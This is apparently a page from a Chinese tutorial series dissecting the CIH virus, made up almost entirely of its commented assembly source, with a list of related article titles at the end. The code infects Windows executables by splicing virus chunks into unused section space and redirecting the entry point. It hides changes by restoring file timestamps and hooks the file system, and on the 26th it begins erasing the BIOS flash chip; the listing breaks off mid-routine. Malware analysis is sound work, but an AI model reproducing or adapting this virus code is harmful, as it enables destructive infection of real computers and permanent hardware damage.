push eax   ;块表大小
  push edx   ;edx为病毒 代码 块表的偏移
  push esi    ;缓冲区地址
  
  ;合并的病毒代码块和病毒代码块表的总大小必须小于等于未使用的空间大小
  inc ecx
  push ecx ; Save NumberOfSections+1
  
  shl ecx, 03h     ;乘8
  push ecx        ;预留 病毒 块表空间
  
  add ecx, eax
  add ecx, edx     ;ecx+文件的正文的偏移
  
  sub ecx, (SizeOfHeaders-@9)[esi]
  not ecx
  inc ecx      ;求补,ecx为文件头大小 - 正文的偏移 = 未用空间
  
  push ecx
  
  xchg ecx, eax     ;ecx为块表大小
  
  mov eax, (AddressOfEntryPoint-@9][esi]    ;入口RVA地址
  add eax, (ImageBase-@9)[esi] ;装入基址
  mov (OriginalAddressOfEntryPoint-@9)[esi], eax ;保存装入后实际的入口地址
  
  ;未用空间和病毒第一块大小比较,如果小于就只设感染 标志
  cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection
  jl OnlySetInfectedMark
  
  ; 读取所有病毒块表
  mov eax, ebp     ;读的功能号
  call edi    ;读块表到esi(@9处)
  
  ;下面完全修改处理Winzip自解压文件的错误,当用户打开自解压文件时,
  ;病毒不会感染。首先,病毒获得第2个块表的ToRawData指针,
  ;读取该块 数据 ,判断是否包含“WinZip(R)”字样
  
  xchg eax, ebp
  push 00000004h
  pop ecx    读4字节
  
  push edx
  mov edx, (SizeOfScetionTable+PointerToRawData-@9][ebx]
  ;edx为第二块的偏移(.rdata)
  
  add edx, 12h     ;加10h+2h(10h处为"WinZip....")
  
  call edi    ;读4字节到esi
  
  ;判断是否Winzip自解压文件,如果是就不设置 感染 标志
  cmp dword ptr [esi], 'piZn'   
  je NotSetInfectedMark
  
  pop edx    ;edx指向块表在文件中首址
  
  ; 设置病毒代码块表
   pop ebx     ;未用空间大小
  pop edi      ;edi = TotalSizeOfVirusCodeSectionTabl
  pop ecx     ; ecx = NumberOfSections+1
  
  push edi   
  add edx, ebp    ; ebp为块表大小
  push edx    ;文件指针
  
  add ebp, esi    ; ebp指向病毒数据区的块表后(第一块)
  push ebp     ;缓冲区地址
  
  ; 设置第一个病毒代码块的大小
  lea eax, [ebp+edi-04h]
  mov [eax], ebx   
  
  ; 设置第一个病毒块
  push ebx    ; 病毒代码第一块的大小
  
  add edx, edi
  push edx   ;文件指针
  lea edi, (MyVirusStart-@9)[esi]
  push edi    ;缓冲区地址
  
  ;修改AddressOfEntryPoint的入口为病毒入口
  mov (NewAddressOfEntryPoint-@9)[esi], edx   ;保存新的 程序 入口(病毒正文)
  
  ; 设置初始数据
  lea edx, [esi-SizeOfScetionTable]     ;edx先减一项块表长度
  mov ebp, offset VirusSize    ;ebp为病毒长度
  
  jmp StartToWriteCodeToSections
  
  ;写 信息 到病毒块
  LoopOfWriteCodeToSections:
  add edx, SizeOfScetionTable
  mov ebx, (SizeOfRawData-@9)[edx]    ;ebx为该块表项的SizeOfRawData(块大小)
  sub ebx, (VirtualSize-@9][edx]         ;减去VirtualSize等于该块未用空间
  jbe EndOfWriteCodeToSections
  
  push ebx ; Size
  
  sub eax, 08h
  mov [eax], ebx   ;写入病毒块表
  
  mov ebx, (PointerToRawData-@9)[edx]   ;ebx为块的物理(实际)偏移
  add ebx, (VirtualSize-@9)[edx]          ;加上VirtualSize
  push ebx               ;ebx指向该块未用空间的文件指针
  
  push edi     ; 缓冲区地址
  
  mov ebx, (VirtualSize-@9)[edx]
  add ebx, (VirtualAddress-@9)[edx]
  add ebx, (ImageBase-@9)[esi]         ;ebx为该块装入后的实际地址
  mov [eax+4], ebx       ;保存到病毒块表中
  
  mov ebx, [eax]      ;该块未用空间大小
  add (VirtualSize-@9)[edx], ebx      ;加到该块表项的VirtualSize
  
  ;改该块表项的块属性(改为可读,并包含初始化数据)
  or (Characteristics-@9)[edx], 40000040h
  
  ;开始写代码
  StartToWriteCodeToSections:
  sub ebp, ebx    ;病毒大小-病毒块大小
  
  ;如果小于(病毒插入完毕)就设置病毒块表结束符
  jbe SetVirusCodeSectionTableEndMark
  
  add edi, ebx    ;指向病毒下一块
  
  ;写代码结束
  EndOfWriteCodeToSections:
  loop LoopOfWriteCodeToSections
  
  OnlySetInfectedMark:
  mov esp, dr1    ;只设置感染标志
  
  jmp WriteVirusCodeToFile     ;跳到写病毒到要传染的文件的程序
  
  ;不设置感染标志
  NotSetInfectedMark:
  add esp, 3ch
  jmp CloseFile  ;转到CloseFile处
  
  ;设置病毒块表和标记
  SetVirusCodeSectionTableEndMark:
  ;调整病毒块代码
  add [eax], ebp  ;更正病毒块表的最后一项
  add [esp+08h], ebp
  
  ;设置块表结束标志
  xor ebx, ebx
  mov [eax-04h], ebx
  
  ; 当病毒程序调用 Vxd指令时,VMM修改20号中断
  lea eax, (LastVxdCallAddress-2-@9)[esi]   ;上一个调用Vxd指令的地址
  
  mov cl, VxdCallTableSize    ;所用Vxd调用的个数
  
  LoopOfRestoreVxdCallID:
  mov word ptr [eax], 20cdh    ;还原成“int 20h”的形式
  
  ;从VxdCallIDTable取出Vxd调用的id号放到edx
  mov edx, (VxdCallIDTable+(ecx-1)*04h-@9)[esi] 
  
  mov [eax+2], edx    ;放到“int 20h”的后面
  
  ;VxdCallAddressTable中放着各个调用Vxd的指令地址之差
  movzx edx, byte ptr (VxdCallAddressTable+ecx-1-@9)[esi]
  
  sub eax, edx    ;eax为上一个调用地址
  
  loop LoopOfRestoreVxdCallID    ;还原其他的调用
  
  ; 把病毒代码写到文件中
  WriteVirusCodeToFile:
  mov eax, dr1        ;dr1为前面所保存的esp
  mov ebx, [eax+10h]     ;ebx为保存在栈中的保存文件句柄
  mov edi, [eax]      ;edi为保存在栈中的IFSMgr_Ring0_FileIO调用地址
  
  ;循环写入
  LoopOfWriteVirusCodeToFile:
  pop ecx   ;病毒代码各段的偏移
  jecxz SetFileModificationMark    ;到病毒偏移零为止
  
  mov esi, ecx
  mov eax, 0d601h ;写文件功能号(R0_WRITEFILE)
  pop edx ;文件指针
  pop ecx ;要写的字节数
  
  call edi    ; VXD调用IFSMgr_Ring0_FileIO,写文件
  ;依次写入各段病毒代码、病毒块表、新的
  ;文件块表、新的程序入口、感染标志
  jmp LoopOfWriteVirusCodeToFile
  
  ; 修改文件的最后修改 时间 ,使用户不知道文件已经被修改
  SetFileModificationMark:
  pop ebx
  pop eax
  
  stc      ;设置进位标志
  pushf    ;标志位入栈
  
  ; 关闭文件
  CloseFile:
  xor eax, eax
  mov ah, 0d7h    ;关闭文件功能号
  call edi     ; Vxd调用IFSMgr_Ring0_FileIO关闭文件
  
  popf
  pop esi
  jnc IsKillComputer    ;如果进位标志为0,就转向KillComputer
  
  ;恢复文件修改时间
  mov ebx, edi
  
  mov ax, 4303h
  mov ecx, (FileModificationTime-@7)[esi]
  mov edi, (FileModificationTime+2-@7)[esi]
  call ebx    ; Vxd调用IFSMgr_Ring0_FileIO,修改文件的最后修改时间
  
  
  ; 设置不“忙”标志
  DisableOnBusy:
  dec byte ptr (OnBusy-@7)[esi]  
  
  ; 调用原来的FileSystemApiHook
  prevhook:
  popad   ;恢复所有寄存器
  
  mov eax, dr0   ; 保存的原来的文件 系统 钩子程序首址
  jmp [eax]      ;跳到原来的钩子去执行
  
  pIFSFunc:
  mov ebx, esp  ; ebx指向esp以获得FileSystemApiHookFunction的 参数 地址
  push dword ptr [ebx+20h+04h+14h]  ;把参数pioreqpir入栈
  call [ebx+20h+04h]    ;调用pIFSFunc FSDFnAddr
  pop ecx 
  
  mov [ebx+1ch], eax  ;修改eax的值
  
  ; 调用了pIFSFunc之后,从返回值pioreq中获得数据
  cmp dword ptr [ebx+20h+04h+04h], 00000024h
  jne QuitMyVirusFileSystemHook
  
  
  ;获得在DOS 模式 下的文件的修改日期和时间
  mov eax, [ecx+28h]
  mov (FileModificationTime-@6)[esi], eax    ;保存获得的文件时间和日期
  
  
  ;退出病毒程序
  QuitMyVirusFileSystemHook:
  popad ;恢复所有寄存器
  
  ret     ;从病毒设置的文件钩子程序中退出
  
  ; 破坏计算机BIOS
  IsKillComputer:
  ;从BIOS CMOS中获得当前日期
  mov al, 07h
  out 70h, al
  in al, 71h
  
  xor al, 26h    ;判断是否是26号,
  
  ;如果是调试程序,则转向DisableOnBusy
  IF DEBUG
  jmp DisableOnBusy
  ELSE
  jnz DisableOnBusy    ;如果不是26号,则转向DisableOnBusy,不进行破坏
  ENDIF
  
  ;开始 破坏BIOS EEPROM *
  mov bp, 0cf8h
  lea esi, IOForEEPROM-@7[esi]
  
  ;显示000E0000 - 000EFFFF 地址段的BIOS页面,共64KB
  mov edi, 8000384ch
  mov dx, 0cfeh
  cli
  call esi
  
  ;显示000F0000 - 000FFFFF地址段的BIOS页面,共64KB
  mov di, 0058h
  dec edx ; and a0fh
  mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h
  call esi
  
  ; 显示BIOS中额外的000E0000 - 000E01FF段的 ROM数据,共512个字节
  ;和可写的BIOS块
  lea ebx, EnableEEPROMToWrite-@10[esi]
  
  mov eax, 0e5555h
  mov ecx, 0e2aaah
  call ebx
  mov byte ptr [eax], 60h

病毒程序源码实例剖析-CIH病毒[4]相关推荐

  1. php病毒源代码,病毒程序源码实例剖析-CIH病毒[2]

    病毒程序源码实例剖析-CIH病毒[2] OriginalAppEXE SEGMENT ;PE格式可执行文件文件头 FileHeader: db 04dh, 05ah, 090h, 000h, 003h ...

  2. 病毒程序源码实例剖析-CIH病毒[5]

    push ecx loop $ ;破坏BIOS中额外的000E0000 - 000E007F段的 ROM数据 ,共80h个字节 xor ah, ah mov [eax], al xchg ecx, e ...

  3. 病毒程序源码实例剖析-CIH病毒[1]

    CIH病毒主要感染Windows 95/98/Me的可执行程序,发作时破坏计算机 Flash  BIOS芯片中的系统程序,导致主板损坏,同时破坏硬盘中的数据.病毒发作时,硬盘驱动器不停地旋转,病毒程序 ...

  4. 二当家的官网微信小程序源码实例解析

    版权声明:转载请注明原创地址 https://blog.csdn.net/u013032788/article/details/54376774 二当家的官网微信小程序源码实例解析,微信小程序开发教程 ...

  5. Python-LBM(格子玻尔兹曼)程序源码实例分析—圆柱绕流篇

    初次学习LBM计算方法,找到一个比较优秀的用python语言编写的圆柱绕流的实例,对每段代码详细添加了注释,帮助自己总结,也为初学的朋友们提供一点帮助(全部代码在文章最后). 先放一张结果图像: 1. ...

  6. 程序实现php文件上传,PHP实例:实现文件上传的程序源码_php

    以下为引用的内容: 文件上传界面 http://www.gaodaima.com/48380.htmlphp实例:实现文件上传的程序源码_php if($UploadAction){ $UploadA ...

  7. ASP网站整站程序PHP源码-打听网(wordpress打造cms)-wordpress-cms整站打包程序-毕设源码实例

    ASP网站整站程序PHP源码-打听网(wordpress打造cms)-wordpress-cms,整站打包程序,毕设源码实例,用wordpress中文做成的源码.全站打包,可以自行修改就行. 使用PH ...

  8. asp毕业设计—— 基于asp+access的软件信息发布系统设计与实现(毕业论文+程序源码)——软件信息发布系统

    基于asp+access的软件信息发布系统设计与实现(毕业论文+程序源码) 大家好,今天给大家介绍基于asp+access的软件信息发布系统设计与实现,文章末尾附有本毕业设计的论文和源码下载地址哦.需 ...

  9. java毕业设计——基于java+eclipse+sqlserver的银行帐目管理系统设计与实现(毕业论文+程序源码)——银行帐目管理系统

    基于java+eclipse+sqlserver的银行帐目管理系统设计与实现(毕业论文+程序源码) 大家好,今天给大家介绍基于java+eclipse+sqlserver的银行帐目管理系统设计与实现, ...

最新文章

  1. spring事务的传播特性
  2. hbase 查询固定条数_HBase原理深入
  3. 硬盘检测工具Smartmontools安装、部署、使用
  4. ASP.NET 数据库缓存依赖
  5. webpaper网页出题语言
  6. android--仿网易新闻主界面
  7. su root无法切换到root用户
  8. js计算两个整数之间的百分比
  9. Netty权威指南 第2版 带书签目录 完整版
  10. python俄罗斯方块小游戏实验报告_python实现俄罗斯方块游戏
  11. dwg格式转换成jpg图片
  12. switch更新找不到服务器,switch更新无法连接服务器(图文)
  13. 我哋嘅水墨动剐曾让宫祈骏、糕填勋睇木殳咗2019年6月25日 星期二
  14. 非常口語化的英語單詞,短句
  15. hibernate中lazy的使用
  16. 新月已冉冉升起.ALOKEX永续合约统领市场已成定局
  17. java如何判断回文数
  18. 计算机操作系统英文论文,计算机操作系统英文论文
  19. 未来公寓智能化设计平台项目(中)
  20. Deep Learning × ECG (4) :利用卷积神经网络CNN对心律失常ECG数据进行分类

热门文章

  1. win7系统注册表开机启动项如何打开?
  2. 现在人人贷这类金融平台对逃废债情况打击重吗?银行会管吗?
  3. c#求STDEV标准偏差方法
  4. Redis 可视化工具 Mac中文版
  5. python求近似解_不求近似解广义积分
  6. 【c++师傅领进门,修行靠个人】第二篇:手把手教你c++入门
  7. Django 框架16: 项目部署
  8. 地下城勇士 DNF 资源分析
  9. 在游戏中弹出GameCenter登陆界面
  10. 汉字编码 (GB2312 GBK GB18030)